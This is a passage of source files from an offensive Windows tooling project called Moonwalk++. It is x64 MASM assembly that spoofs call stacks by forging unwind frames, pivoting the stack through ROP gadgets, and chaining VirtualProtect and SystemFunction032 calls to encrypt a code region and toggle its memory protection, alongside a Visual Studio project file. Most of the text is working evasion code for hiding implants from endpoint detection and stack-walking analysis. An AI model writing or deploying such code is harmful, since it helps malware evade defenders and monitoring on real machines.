155 | ; ------------------------------------------------------------------------------------
156 | ; 1. JMP [RBX] Gadget (To restore original Control Flow Stack)
157 | ; ------------------------------------------------------------------------------------
158 | mov rax, [rcx+090h]
159 | sub rsp, [rcx+088h]
160 | push [rcx+0b0h]
161 | sub rsp, rax
162 | mov r10, [rcx+050h]
163 | ; Placing return address -> JMP [RBX]
164 | ; The return offset (as the gadget size) is a function of the number of arguments
165 | ; This is to ensure we have enough space in the frame to store all the args we need
166 | mov [rsp+rax], r10
167 | ; ------------------------------------------------------------------------------------
168 | ; 2. Stack PIVOT (To conceal our RIP and return to the JOP gadget)
169 | ; ------------------------------------------------------------------------------------
170 | push [rcx+058h]
171 | mov rax, [rcx+090h]
172 | mov [rbp+28h], rax
173 | ; ------------------------------------------------------------------------------------
174 | ; Set the pointer to the function to call in RAX
175 | ; ------------------------------------------------------------------------------------
176 | mov rax, [rcx+0b8h]
177 | jmp parameter_handler
178 | spoof_call endp
179 |
180 | parameter_handler proc
181 | mov r9, rax
182 | mov r8, [rcx+0c8h]
183 | _internal_handler:
184 | cmp r8, 4
185 | jle _handle_four_or_less
186 | mov rax, 8
187 | mul r8
188 | ; RCX is the SPOOFER config, RCX+0A8h is the first parameter
189 | mov r15, qword ptr [rcx+0D0h+rax-8]
190 | mov [rsp+rax], r15
191 | dec r8
192 | jmp _internal_handler
193 | _handle_four_or_less:
194 | xchg r9, rax
195 | mov r9, [rcx+0e8h]
196 | mov r8, [rcx+0e0h]
197 | mov rdx, [rcx+0d8h]
198 | mov rcx, [rcx+0d0h]
199 | jmp execute
200 | parameter_handler endp
201 | execute proc
202 |
203 | ; Spoofed function
204 | push rax ; <-- spoofed function
205 | push r11
206 | push r10
207 | push r9
208 | push r8
209 | push rcx
210 | push [r11+028h]
211 | push rdx
212 | push [r11+020h]
213 | sub rsp, 028h
214 | push [r11+030h]
215 | sub rsp, 028h
216 | push [r11+030h]
217 | ; Virtual Protect
218 | push [r11+010h]
219 | push 1 ; r11
220 | push 1 ; r10
221 | push [r11+018h] ; r9
222 | push 01h ; r8
223 | push [r11+00h] ; rcx
224 | push [r11+028h]
225 | push [r11+060h] ; rdx
226 | push [r11+020h]
227 | sub rsp, 028h
228 | push [r11+030h]
229 | ; SystemFunction032
230 | push [r11+08h]
231 | push 1 ; r11
232 | push 1 ; r10
233 | push 1 ; r9
234 | push 1 ; r8
235 | push [r11+0a0h]
236 | push [r11+028h]
237 | push [r11+098h]
238 | push [r11+020h]
239 |
240 | sub rsp, 028h
241 | push [r11+030h]
242 |
243 | ; Virtual Protect
244 | push [r11+010h]
245 | push 1 ; r11
246 | push 1 ; r10
247 | push [r11+018h] ; r9
248 | push 040h ; r8
249 | push [r11+00h] ; rcx
250 | push [r11+028h]
251 |
252 | push [r11+060h] ; rdx
253 | push [r11+020h]
254 | ; int 3
255 | ret
256 |
257 | execute endp
258 |
259 |
260 | end
--------------------------------------------------------------------------------
/Moonwalk--/moonreflect.asm:
--------------------------------------------------------------------------------
1 | ; ------------------------------------------------------------------------------------
2 | ;
3 | ; Author : klezVirus 2022
4 | ; Twitter : https://twitter.com/klezVirus
5 | ; Original Idea: Namazso
6 | ; Twitter : https://twitter.com/namazso
7 | ; ------------------------------------------------------------------------------------
8 | ; ------------------------------------------------------------------------------------
9 |
10 | spoof_call proto
11 | restore proto
12 |
13 | .code
14 |
15 | spoof_call proc
16 | ; ------------------------------------------------------------------------------------
17 | ; Saving non-vol registers
18 | ; ------------------------------------------------------------------------------------
19 | ; int 3
20 |
21 | mov [rsp+08h], rbp
22 | mov [rsp+10h], rbx
23 | mov rcx, r9
24 | mov r11, rcx
25 | call StackSearch ; Let's pray we find it
26 |
27 | ; ------------------------------------------------------------------------------------
28 | ; Creating a stack reference to the JMP RBX gadget
29 | ; ------------------------------------------------------------------------------------
30 | mov rbx, [rcx+050h]
31 | mov [rsp+18h], rbx
32 | mov rbx, rsp
33 | add rbx, 18h
34 | mov [rcx+0b0h], rbx
35 | ; ------------------------------------------------------------------------------------
36 | ; Prolog
37 | ; RBP -> Keeps track of original Stack
38 | ; RSP -> Desync Stack for Unwinding Info
39 | ; ------------------------------------------------------------------------------------
40 | ; Note: Everything between RSP and RBP is our new stack frame for unwinding
41 | ; ------------------------------------------------------------------------------------
42 | mov rbp, rsp
43 | ; ------------------------------------------------------------------------------------
44 | ; Creating Restore Rop Chain
45 | ; ------------------------------------------------------------------------------------
46 |
47 | ; int 3
48 | push rbp
49 | push r12
50 | push r13
51 | push r14
52 | push r15
53 | push [r11+038h]
54 |
55 | mov rbp, rsp
56 | add rbp, 8
57 | push rbp
58 | sub rbp, 8
59 | push r10
60 | push r9
61 | push r8
62 | push rcx
63 | push [r11+028h]
64 |
65 | push rdx
66 | push [r11+020h]
67 | sub rsp, 028h
68 | push [r11+030h]
69 | sub rsp, 028h
70 | push [r11+030h]
71 |
72 | ; Virtual Protect
73 | push [r11+010h]
74 | push 1 ; r11
75 | push 1 ; r10
76 | push [r11+018h] ; r9
77 | push 020h ; r8
78 | push [r11+00h] ; rcx
79 | push [r11+028h]
80 | push [r11+060h] ; rdx
81 | push [r11+020h]
82 | sub rsp, 028h
83 | push [r11+030h]
84 | ; SystemFunction032
85 | push [r11+08h]
86 | push 1 ; r11
87 | push 1 ; r10
88 | push 1 ; r9
89 | push 1 ; r8
90 | push [r11+0a0h]
91 | push [r11+028h]
92 | push [r11+098h]
93 | push [r11+020h]
94 |
95 | sub rsp, 028h
96 | push [r11+030h]
97 | ; Virtual Protect
98 | push [r11+010h]
99 | push 1 ; r11
100 | push 1 ; r10
101 | push [r11+018h] ; r9
102 | push 040h ; r8
103 | push [r11+00h] ; rcx
104 | push [r11+028h]
105 | push [r11+060h] ; rdx
106 | push [r11+020h]
107 |
108 | ; Now RBX contains the stack pointer to Restore ROP CHAIN on the stack
109 | ; -> Will be called by the push RBX; ret gadget
110 |
111 | mov rbx, [rcx+198h]
112 | sub rbx, [rcx+1A0h]
113 |
114 | _check_space:
115 | test rbx, rbx
116 | jnz _allocate_ret
117 | jmp _allocated_ret
118 |
119 | _allocate_ret:
120 | push [rcx+1A8h]
121 | sub rbx, 8
122 | jmp _check_space
123 |
124 | _allocated_ret:
125 | push [rcx+190h]
126 | mov rbx, [rsp]
127 |
128 | ; ------------------------------------------------------------------------------------
129 | ; Starting Frames Tampering
130 | ; ------------------------------------------------------------------------------------
131 | ; First Frame (SET_FPREG frame)
132 | ; ------------------------------------------------------------------------------------
133 | push [rcx+040h]
134 | mov rax, [rcx+070h]
135 | add qword ptr [rsp], rax
136 |
137 | mov rax, [rcx+0c0h]
138 | sub rax, [rcx+068h]
139 |
140 | sub rsp, [rcx+078h]
141 | mov r10, [rcx+0a8h]
142 | mov [rsp+r10], rax
143 | ; ------------------------------------------------------------------------------------
144 | ; Second Frame (PUSH_NONVOL RBP)
145 | ; ------------------------------------------------------------------------------------
146 | push [rcx+048h]
147 | mov rax, [rcx+080h]
148 | add qword ptr [rsp], rax
149 | ; ------------------------------------------------------------------------------------
150 | ; ROP Frames
151 | ; ------------------------------------------------------------------------------------
152 | ; 1. JMP [RBX] Gadget (To restore original Control Flow Stack)
153 | ; ------------------------------------------------------------------------------------
154 | mov rax, [rcx+090h]
155 | sub rsp, [rcx+088h]
156 | push [rcx+0b0h]
157 | sub rsp, rax
158 | mov r10, [rcx+050h]
159 | ; Placing return address -> JMP [RBX]
160 | ; The return offset (as the gadget size) is a function of the number of arguments
161 | ; This is to ensure we have enough space in the frame to store all the args we need
162 | mov [rsp+rax], r10
163 | ; ------------------------------------------------------------------------------------
164 | ; 2. Stack PIVOT (To conceal our RIP and return to the JOP gadget)
165 | ; ------------------------------------------------------------------------------------
166 | push [rcx+058h]
167 | mov rax, [rcx+090h]
168 | mov [rbp+28h], rax
169 | ; ------------------------------------------------------------------------------------
170 | ; Set the pointer to the function to call in RAX
171 | ; ------------------------------------------------------------------------------------
172 | mov rax, [rcx+0b8h]
173 | jmp parameter_handler
174 | spoof_call endp
175 |
176 | parameter_handler proc
177 | mov r9, rax
178 | mov r8, [rcx+0c8h]
179 | _internal_handler:
180 | cmp r8, 4
181 | jle _handle_four_or_less
182 | mov rax, 8
183 | mul r8
184 | ; RCX is the SPOOFER config, RCX+0A8h is the first parameter
185 | mov r15, qword ptr [rcx+0D0h+rax-8]
186 | mov [rsp+rax], r15
187 | dec r8
188 | jmp _internal_handler
189 | _handle_four_or_less:
190 | xchg r9, rax
191 | mov r9, [rcx+0e8h]
192 | mov r8, [rcx+0e0h]
193 | mov rdx, [rcx+0d8h]
194 | mov rcx, [rcx+0d0h]
195 | jmp execute
196 | parameter_handler endp
197 | execute proc
198 |
199 | ; Spoofed function
200 | push rax ; <-- spoofed function
201 | push r11
202 | push r10
203 | push r9
204 | push r8
205 | push rcx
206 | push [r11+028h]
207 | push rdx
208 | push [r11+020h]
209 | sub rsp, 028h
210 | push [r11+030h]
211 | sub rsp, 028h
212 | push [r11+030h]
213 | ; Virtual Protect
214 | push [r11+010h]
215 | push 1 ; r11
216 | push 1 ; r10
217 | push [r11+018h] ; r9
218 | push 04h ; r8
219 | push [r11+00h] ; rcx
220 | push [r11+028h]
221 | push [r11+060h] ; rdx
222 | push [r11+020h]
223 | sub rsp, 028h
224 | push [r11+030h]
225 | ; SystemFunction032
226 | push [r11+08h]
227 | push 1 ; r11
228 | push 1 ; r10
229 | push 1 ; r9
230 | push 1 ; r8
231 | push [r11+0a0h]
232 | push [r11+028h]
233 | push [r11+098h]
234 | push [r11+020h]
235 |
236 | sub rsp, 028h
237 | push [r11+030h]
238 |
239 | ; Virtual Protect
240 | push [r11+010h]
241 | push 1 ; r11
242 | push 1 ; r10
243 | push [r11+018h] ; r9
244 | push 040h ; r8
245 | push [r11+00h] ; rcx
246 | push [r11+028h]
247 |
248 | push [r11+060h] ; rdx
249 | push [r11+020h]
250 | ; int 3
251 | ret
252 |
253 | execute endp
254 |
255 | ; RCX - Struct with QWORD value to search for at 0C0h
256 | ; Returns:
257 | ; RAX = offset in bytes from RSP to found address, or 0 if not found
258 |
259 | StackSearch PROC
260 | mov r8, rcx
261 | mov rcx, [rcx+0C0h] ; Value to search
262 | mov r11, rsp ; Save current RSP
263 | mov r10, gs:[08h] ; Get StackBase from TEB
264 |
265 | mov rdx, r11 ; RDX = search pointer (start from RSP)
266 |
267 | search_loop:
268 | cmp rdx, r10 ; Have we reached StackBase?
269 | jae not_found ; If yes, stop
270 |
271 | cmp qword ptr [rdx], rcx ; Compare memory at [RDX] with search value
272 | je found
273 |
274 | add rdx, 8 ; Move to next QWORD
275 | jmp search_loop
276 |
277 | found:
278 | mov rax, rdx
279 | sub rax, r11 ; RAX = found address - RSP
280 | mov rcx, r8
281 | mov [rcx+0C0h], rax
282 | ret
283 |
284 | not_found:
285 | xor rax, rax
286 | mov rcx, r8
287 | ret
288 |
289 | StackSearch ENDP
290 |
291 | end
--------------------------------------------------------------------------------
/Moonwalk--/Moonwalk++.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {0FBBEE0C-C510-4D3A-B8C3-2EE626E45B5E}
25 | TheRealStackSpoof
26 | 10.0
27 | Moonwalk++
28 |
29 |
30 |
31 | Application
32 | true
33 | v143
34 | Unicode
35 |
36 |
37 | Application
38 | false
39 | v143
40 | true
41 | Unicode
42 |
43 |
44 | Application
45 | true
46 | v143
47 | Unicode
48 |
49 |
50 | Application
51 | false
52 | v143
53 | false
54 | Unicode
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 | true
77 |
78 |
79 | false
80 |
81 |
82 | true
83 |
84 |
85 | false
86 |
87 |
88 |
89 | Level3
90 | true
91 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 |
98 |
99 |
100 |
101 | Level3
102 | true
103 | true
104 | true
105 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 | true
112 | true
113 |
114 |
115 |
116 |
117 | Level3
118 | true
119 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 |
122 |
123 | Console
124 | true
125 |
126 |
127 |
128 |
129 | Level3
130 | true
131 | true
132 | false
133 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
134 | true
135 | Disabled
136 | false
137 | Neither
138 | false
139 | AssemblyCode
140 | C:\Users\Public\
141 | MultiThreaded
142 | false
143 | false
144 | None
145 |
146 |
147 | Console
148 | true
149 | true
150 | false
151 | $(CoreLibraryDependencies);%(AdditionalDependencies);vcruntime.lib;
152 | Default
153 | false
154 | false
155 |
156 |
157 |
158 |
159 |
160 |
161 | Document
162 |
163 |
164 | true
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
--------------------------------------------------------------------------------
/Moonwalk--/include/asm/SyntheticSpoofer.asm:
--------------------------------------------------------------------------------
1 | ; ------------------------------------------------------------------------------------
2 | ;
3 | ; Author : klezVirus 2022
4 | ; Twitter : https://twitter.com/klezVirus
5 | ; Original Idea: Namazso
6 | ; Twitter : https://twitter.com/namazso
7 | ; ------------------------------------------------------------------------------------
8 | ; ------------------------------------------------------------------------------------
9 |
10 | spoof_call_synthetic proto
11 | restore_synthetic proto
12 |
13 | .data
14 |
15 | ; ------------------------------------------------------------------------------------
16 | ; Spoofing Configuration Structure
17 | ; Utility structure to pass all the relevant details from C to ASM regarding the
18 | ; stack frames to spoof
19 | ; ------------------------------------------------------------------------------------
20 | SPOOFER STRUCT
21 |
22 | KernelBaseAddress DQ 1
23 |
24 | RtlUserThreadStartAddress DQ 1
25 | BaseThreadInitThunkAddress DQ 1
26 |
27 | FirstFrameFunctionPointer DQ 1
28 | SecondFrameFunctionPointer DQ 1
29 | JmpRbxGadget DQ 1
30 | AddRspXGadget DQ 1
31 |
32 | FirstFrameSize DQ 1
33 | FirstFrameRandomOffset DQ 1
34 | SecondFrameSize DQ 1
35 | SecondFrameRandomOffset DQ 1
36 | JmpRbxGadgetFrameSize DQ 1
37 | AddRspXGadgetFrameSize DQ 1
38 |
39 | RtlUserThreadStartFrameSize DQ 1
40 | BaseThreadInitThunkFrameSize DQ 1
41 |
42 | StackOffsetWhereRbpIsPushed DQ 1
43 |
44 | JmpRbxGadgetRef DQ 1
45 | SpoofFunctionPointer DQ 1
46 | ReturnAddress DQ 1
47 |
48 | Nargs DQ 1
49 | ; RCX +A0h
50 | Arg01 DQ 1
51 | Arg02 DQ 1
52 | Arg03 DQ 1
53 | Arg04 DQ 1
54 | ; RCX +C0h
55 | Args DQ 20
56 |
57 | SPOOFER ENDS
58 |
59 | .code
60 |
61 | spoof_call_synthetic proc
62 | ; ------------------------------------------------------------------------------------
63 | ; Saving non-vol registers
64 | ; ------------------------------------------------------------------------------------
65 | mov [rsp+08h], rbp
66 | mov [rsp+10h], rbx
67 | mov [rsp+18h], r15
68 | ; ------------------------------------------------------------------------------------
69 | ; Creating a stack reference to the JMP RBX gadget
70 | ; ------------------------------------------------------------------------------------
71 | mov rbx, [rcx].SPOOFER.JmpRbxGadget
72 | mov [rsp+20h], rbx
73 | mov rbx, rsp
74 | add rbx, 20h
75 | mov [rcx].SPOOFER.JmpRbxGadgetRef, rbx
76 | ; ------------------------------------------------------------------------------------
77 | ; Prolog
78 | ; RBP -> Keeps track of original Stack
79 | ; RSP -> Desync Stack for Unwinding Info
80 | ; ------------------------------------------------------------------------------------
81 | ; Note: Everything between RSP and RBP is our new stack frame for unwinding
82 | ; ------------------------------------------------------------------------------------
83 | sub rsp, 200h
84 | mov rbp, rsp
85 |
86 | ; ------------------------------------------------------------------------------------
87 | ; Creating stack pointer to Restore PROC
88 | ; ------------------------------------------------------------------------------------
89 | lea rax, restore_synthetic
90 | push rax
91 |
92 |
93 | ; Now RBX contains the stack pointer to Restore PROC
94 | ; -> Will be called by the JMP [RBX] gadget
95 | lea rbx, [rsp]
96 |
97 | ; ------------------------------------------------------------------------------------
98 | ; Starting Frames Tampering
99 | ; ------------------------------------------------------------------------------------
100 | ; First Frame (Frame preparation)
101 | ; The first frame contains the details
102 | ; ------------------------------------------------------------------------------------
103 | push [rcx].SPOOFER.FirstFrameFunctionPointer
104 | add qword ptr [rsp], 20h
105 |
106 | mov rax, [rcx].SPOOFER.ReturnAddress
107 | sub rax, [rcx].SPOOFER.FirstFrameSize
108 | sub rsp, [rcx].SPOOFER.SecondFrameSize
109 | mov r10, [rcx].SPOOFER.StackOffsetWhereRbpIsPushed
110 | mov [rsp+r10], rax
111 |
112 | ; ------------------------------------------------------------------------------------
113 | ; Cutting the call stack. The 0 pushed in this position will be the return address
114 | ; of the next frame "RtlUserThreadStart", making it effectively the originating function
115 | ; ------------------------------------------------------------------------------------
116 | xor rax, rax
117 | push rax
118 |
119 | ; ------------------------------------------------------------------------------------
120 | ; Here we proceed by adding the two top fake frames:
121 | ; - RtlUserThreadStart
122 | ; - BaseThreadInitThunk
123 | ; ------------------------------------------------------------------------------------
124 | mov rax, [rcx].SPOOFER.FirstFrameFunctionPointer
125 | sub rax, [rcx].SPOOFER.FirstFrameSize
126 | sub rsp, [rcx].SPOOFER.RtlUserThreadStartFrameSize
127 | mov [rsp+30h], rax
128 |
129 | ; ------------------------------------------------------------------------------------
130 | ; RtlUserThreadStart
131 | ; ------------------------------------------------------------------------------------
132 |
133 | push [rcx].SPOOFER.RtlUserThreadStartAddress
134 | add qword ptr [rsp], 21h
135 |
136 | sub rsp, [rcx].SPOOFER.BaseThreadInitThunkFrameSize
137 |
138 | ; ------------------------------------------------------------------------------------
139 | ; BaseThreadInitThunk
140 | ; ------------------------------------------------------------------------------------
141 |
142 | push [rcx].SPOOFER.BaseThreadInitThunkAddress
143 | add qword ptr [rsp], 14h
144 |
145 | mov rax, [rcx].SPOOFER.RtlUserThreadStartAddress
146 | sub rax, [rcx].SPOOFER.RtlUserThreadStartFrameSize
147 | sub rsp, [rcx].SPOOFER.JmpRbxGadgetFrameSize
148 | mov [rsp+30h], rax
149 |
150 | ; ------------------------------------------------------------------------------------
151 | ; ROP Frames
152 | ; These two frames contain the ROP gadgets that will be used to restore the original
153 | ; Control Flow stack
154 | ; ------------------------------------------------------------------------------------
155 | ; ------------------------------------------------------------------------------------
156 | ; 1. JMP [RBX] Gadget
157 | ; ------------------------------------------------------------------------------------
158 | push [rcx].SPOOFER.JmpRbxGadget
159 |
160 | mov rax, [rcx].SPOOFER.BaseThreadInitThunkAddress
161 | sub rax, [rcx].SPOOFER.SecondFrameSize
162 | sub rsp, [rcx].SPOOFER.AddRspXGadgetFrameSize
163 | mov [rsp+30h], rax
164 |
165 | mov r10, [rcx].SPOOFER.JmpRbxGadget
166 | mov [rsp+38h], r10
167 |
168 | ; ------------------------------------------------------------------------------------
169 | ; 2. Stack PIVOT (To restore original Control Flow Stack)
170 | ; ------------------------------------------------------------------------------------
171 | push [rcx].SPOOFER.AddRspXGadget
172 |
173 |
174 | mov rax, [rcx].SPOOFER.AddRspXGadgetFrameSize
175 | mov [rbp+28h], rax
176 |
177 | ; ------------------------------------------------------------------------------------
178 | ; Finalise
179 | ; Placing the pointer to the function to call
180 | ; ------------------------------------------------------------------------------------
181 |
182 | mov rax, [rbp+28h]
183 | mov [rsp+28h], rax
184 | mov rax, [rbp+30h]
185 | mov [rsp+30h], rax
186 | mov rax, [rcx].SPOOFER.SpoofFunctionPointer
187 |
188 | jmp parameter_handler_synthetic
189 | jmp execute_synthetic
190 | spoof_call_synthetic endp
191 |
192 | restore_synthetic proc
193 | mov rsp, rbp
194 | add rsp, 200h
195 | mov rbp, [rsp+08h]
196 | mov rbx, [rsp+10h]
197 | mov r15, [rsp+18h]
198 | ret
199 | restore_synthetic endp
200 |
201 | parameter_handler_synthetic proc
202 | mov r9, rax
203 | mov r8, [rcx].SPOOFER.Nargs
204 | _internal_handler:
205 | cmp r8, 4
206 | jle _handle_four_or_less
207 | mov rax, 8
208 | mul r8
209 | ; RCX is the SPOOFER config, RCX+0A0h is the first parameter
210 | mov r15, qword ptr [rcx+0A0h+rax-8]
211 | mov [rsp+rax], r15
212 | dec r8
213 | jmp _internal_handler
214 | _handle_four_or_less:
215 | xchg r9, rax
216 | mov r9, [rcx].SPOOFER.Arg04
217 | mov r8, [rcx].SPOOFER.Arg03
218 | mov rdx, [rcx].SPOOFER.Arg02
219 | mov rcx, [rcx].SPOOFER.Arg01
220 | jmp execute_synthetic
221 | parameter_handler_synthetic endp
222 |
223 | execute_synthetic proc
224 | jmp qword ptr rax
225 | execute_synthetic endp
226 |
227 |
228 | end
--------------------------------------------------------------------------------
/Moonwalk--/include/asm/DesyncSpoofer.asm:
--------------------------------------------------------------------------------
1 | ; ------------------------------------------------------------------------------------
2 | ;
3 | ; Author : klezVirus 2022
4 | ; Twitter : https://twitter.com/klezVirus
5 | ; Original Idea: Namazso
6 | ; Twitter : https://twitter.com/namazso
7 | ; ------------------------------------------------------------------------------------
8 | ; ------------------------------------------------------------------------------------
9 |
10 | spoof_call proto
11 | restore proto
12 |
13 | .data
14 |
15 | ; ------------------------------------------------------------------------------------
16 | ; Spoofing Configuration Structure
17 | ; Utility structure to pass all the relevant details from C to ASM regarding the
18 | ; stack frames to spoof
19 | ; ------------------------------------------------------------------------------------
20 | SPOOFER STRUCT
21 | ; RCX +00h
22 | CodeBaseAddress DQ 1
23 | SystemFunction032Address DQ 1
24 | VirtualProtectAddress DQ 1
25 | OldProtection DQ 1
26 |
27 | PopRdxGadget DQ 1
28 | PopRegsGadget DQ 1
29 | AddRsp28Gadget DQ 1
30 | MovRspR11Gadget DQ 1
31 |
32 | ; RCX +40h
33 | FirstFrameFunctionPointer DQ 1
34 | SecondFrameFunctionPointer DQ 1
35 | JmpRbxGadget DQ 1
36 | AddRspXGadget DQ 1
37 |
38 | ; RCX +60h
39 | CodeBaseSize DQ 1
40 | FirstFrameSize DQ 1
41 | FirstFrameRandomOffset DQ 1
42 | SecondFrameSize DQ 1
43 | SecondFrameRandomOffset DQ 1
44 | JmpRbxGadgetFrameSize DQ 1
45 | AddRspXGadgetFrameSize DQ 1
46 |
47 | KeyStructPointer DQ 1
48 | DataStructPointer DQ 1
49 |
50 | ; RCX +A8h
51 | StackOffsetWhereRbpIsPushed DQ 1
52 | JmpRbxGadgetRef DQ 1
53 | SpoofFunctionPointer DQ 1
54 | ReturnAddress DQ 1
55 |
56 | ; RCX +C8h
57 | Nargs DQ 1
58 |
59 | ; RCX +D0h
60 | Arg01 DQ 1
61 | Arg02 DQ 1
62 | ; RCX +F0h
63 | Arg03 DQ 1
64 | Arg04 DQ 1
65 | ; RCX +100h
66 | Args DQ 20
67 |
68 | SPOOFER ENDS
69 |
70 | .code
71 |
72 | get_current_rsp proc
73 | mov rax, rsp
74 | add rax, 8
75 | ret
76 | get_current_rsp endp
77 |
78 | spoof_call proc
79 | ; ------------------------------------------------------------------------------------
80 | ; Saving non-vol registers
81 | ; ------------------------------------------------------------------------------------
82 | mov [rsp+08h], rbp
83 | mov [rsp+10h], rbx
84 | mov r11, rcx
85 | ; ------------------------------------------------------------------------------------
86 | ; Creating a stack reference to the JMP RBX gadget
87 | ; ------------------------------------------------------------------------------------
88 | mov rbx, [rcx].SPOOFER.JmpRbxGadget
89 | mov [rsp+18h], rbx
90 | mov rbx, rsp
91 | add rbx, 18h
92 | mov [rcx].SPOOFER.JmpRbxGadgetRef, rbx
93 | ; ------------------------------------------------------------------------------------
94 | ; Prolog
95 | ; RBP -> Keeps track of original Stack
96 | ; RSP -> Desync Stack for Unwinding Info
97 | ; ------------------------------------------------------------------------------------
98 | ; Note: Everything between RSP and RBP is our new stack frame for unwinding
99 | ; ------------------------------------------------------------------------------------
100 | mov rbp, rsp
101 |
102 | ; ------------------------------------------------------------------------------------
103 | ; Creating Restore Rop Chain
104 | ; ------------------------------------------------------------------------------------
105 |
106 | push rbp
107 | push r12
108 | push r13
109 | push r14
110 | push r15
111 | push [r11].SPOOFER.MovRspR11Gadget
112 |
113 | push rbp
114 | push r10
115 | push r9
116 | push r8
117 | push rcx
118 |
119 | push [r11].SPOOFER.PopRegsGadget
120 |
121 | push rdx
122 | push [r11].SPOOFER.PopRdxGadget
123 |
124 | sub rsp, 028h
125 | push [r11].SPOOFER.AddRsp28Gadget
126 |
127 | sub rsp, 028h
128 | push [r11].SPOOFER.AddRsp28Gadget
129 |
130 | ; Virtual Protect
131 | push [r11].SPOOFER.VirtualProtectAddress
132 |
133 | push 1 ; r11
134 | push 1 ; r10
135 | push [r11].SPOOFER.OldProtection ; r9
136 | push 020h ; r8
137 | push [r11].SPOOFER.CodeBaseAddress ; rcx
138 |
139 | push [r11].SPOOFER.PopRegsGadget
140 |
141 | push [r11].SPOOFER.CodeBaseSize ; rdx
142 | push [r11].SPOOFER.PopRdxGadget
143 |
144 | sub rsp, 028h
145 | push [r11].SPOOFER.AddRsp28Gadget
146 |
147 | ; SystemFunction032
148 | push [r11].SPOOFER.SystemFunction032Address
149 |
150 | push 1 ; r11
151 | push 1 ; r10
152 | push 1 ; r9
153 | push 1 ; r8
154 | push [r11].SPOOFER.DataStructPointer
155 |
156 | push [r11].SPOOFER.PopRegsGadget
157 |
158 | push [r11].SPOOFER.KeyStructPointer
159 | push [r11].SPOOFER.PopRdxGadget
160 |
161 | sub rsp, 028h
162 | push [r11].SPOOFER.AddRsp28Gadget
163 |
164 |
165 | ; Virtual Protect
166 | push [r11].SPOOFER.VirtualProtectAddress
167 |
168 | push 1 ; r11
169 | push 1 ; r10
170 | push [r11].SPOOFER.OldProtection ; r9
171 | push 040h ; r8
172 | push [r11].SPOOFER.CodeBaseAddress ; rcx
173 |
174 | push [r11].SPOOFER.PopRegsGadget
175 |
176 | push [r11].SPOOFER.CodeBaseSize ; rdx
177 | push [r11].SPOOFER.PopRdxGadget
178 |
179 | ; Now RBX contains the stack pointer to Restore ROP CHAIN on the stack
180 | ; -> Will be called by the push RBX; ret gadget
181 | mov rbx, rsp
182 |
183 | ; ------------------------------------------------------------------------------------
184 | ; Starting Frames Tampering
185 | ; ------------------------------------------------------------------------------------
186 |
187 | ; First Frame (SET_FPREG frame)
188 | ; ------------------------------------------------------------------------------------
189 | push [rcx].SPOOFER.FirstFrameFunctionPointer
190 | mov rax, [rcx].SPOOFER.FirstFrameRandomOffset
191 | add qword ptr [rsp], rax
192 |
193 | mov rax, [rcx].SPOOFER.ReturnAddress
194 | sub rax, [rcx].SPOOFER.FirstFrameSize
195 |
196 | sub rsp, [rcx].SPOOFER.SecondFrameSize
197 | mov r10, [rcx].SPOOFER.StackOffsetWhereRbpIsPushed
198 | mov [rsp+r10], rax
199 | ; ------------------------------------------------------------------------------------
200 | ; Second Frame (PUSH_NONVOL RBP)
201 | ; ------------------------------------------------------------------------------------
202 | push [rcx].SPOOFER.SecondFrameFunctionPointer
203 | mov rax, [rcx].SPOOFER.SecondFrameRandomOffset
204 | add qword ptr [rsp], rax
205 | ; ------------------------------------------------------------------------------------
206 | ; ROP Frames
207 | ; ------------------------------------------------------------------------------------
208 | ; 1. JMP [RBX] Gadget (To restore original Control Flow Stack)
209 | ; ------------------------------------------------------------------------------------
210 | mov rax, [rcx].SPOOFER.AddRspXGadgetFrameSize
211 | sub rsp, [rcx].SPOOFER.JmpRbxGadgetFrameSize
212 | push [rcx].SPOOFER.JmpRbxGadgetRef
213 | sub rsp, rax
214 | mov r10, [rcx].SPOOFER.JmpRbxGadget
215 | ; Placing return address -> JMP [RBX]
216 | ; The return offset (as the gadget size) is a function of the number of arguments
217 | ; This is to ensure we have enough space in the frame to store all the args we need
218 | mov [rsp+rax], r10
219 | ; ------------------------------------------------------------------------------------
220 | ; 2. Stack PIVOT (To conceal our RIP and return to the JOP gadget)
221 | ; ------------------------------------------------------------------------------------
222 | push [rcx].SPOOFER.AddRspXGadget
223 | mov rax, [rcx].SPOOFER.AddRspXGadgetFrameSize
224 | mov [rbp+28h], rax
225 | ; ------------------------------------------------------------------------------------
226 | ; Set the pointer to the function to call in RAX
227 | ; ------------------------------------------------------------------------------------
228 | mov rax, [rcx].SPOOFER.SpoofFunctionPointer
229 | jmp parameter_handler
230 | spoof_call endp
231 |
232 | restore proc
233 | mov rsp, rbp
234 | mov rbp, [rsp+08h]
235 | mov rbx, [rsp+10h]
236 | ret
237 | restore endp
238 |
239 | parameter_handler proc
240 | mov r9, rax
241 | mov r8, [rcx].SPOOFER.Nargs
242 | _internal_handler:
243 | cmp r8, 4
244 | jle _handle_four_or_less
245 | mov rax, 8
246 | mul r8
247 | ; RCX is the SPOOFER config, RCX+0A8h is the first parameter
248 | mov r15, qword ptr [rcx+0D0h+rax-8]
249 | mov [rsp+rax], r15
250 | dec r8
251 | jmp _internal_handler
252 | _handle_four_or_less:
253 | xchg r9, rax
254 | mov r9, [rcx].SPOOFER.Arg04
255 | mov r8, [rcx].SPOOFER.Arg03
256 | mov rdx, [rcx].SPOOFER.Arg02
257 | mov rcx, [rcx].SPOOFER.Arg01
258 | jmp execute
259 | parameter_handler endp
260 |
261 | execute proc
262 |
263 | ; Spoofed function
264 | push rax ; <-- spoofed function
265 |
266 | push r11
267 | push r10
268 | push r9
269 | push r8
270 | push rcx
271 |
272 | push [r11].SPOOFER.PopRegsGadget
273 |
274 | push rdx
275 | push [r11].SPOOFER.PopRdxGadget
276 |
277 | sub rsp, 028h
278 | sub rsp, 028h
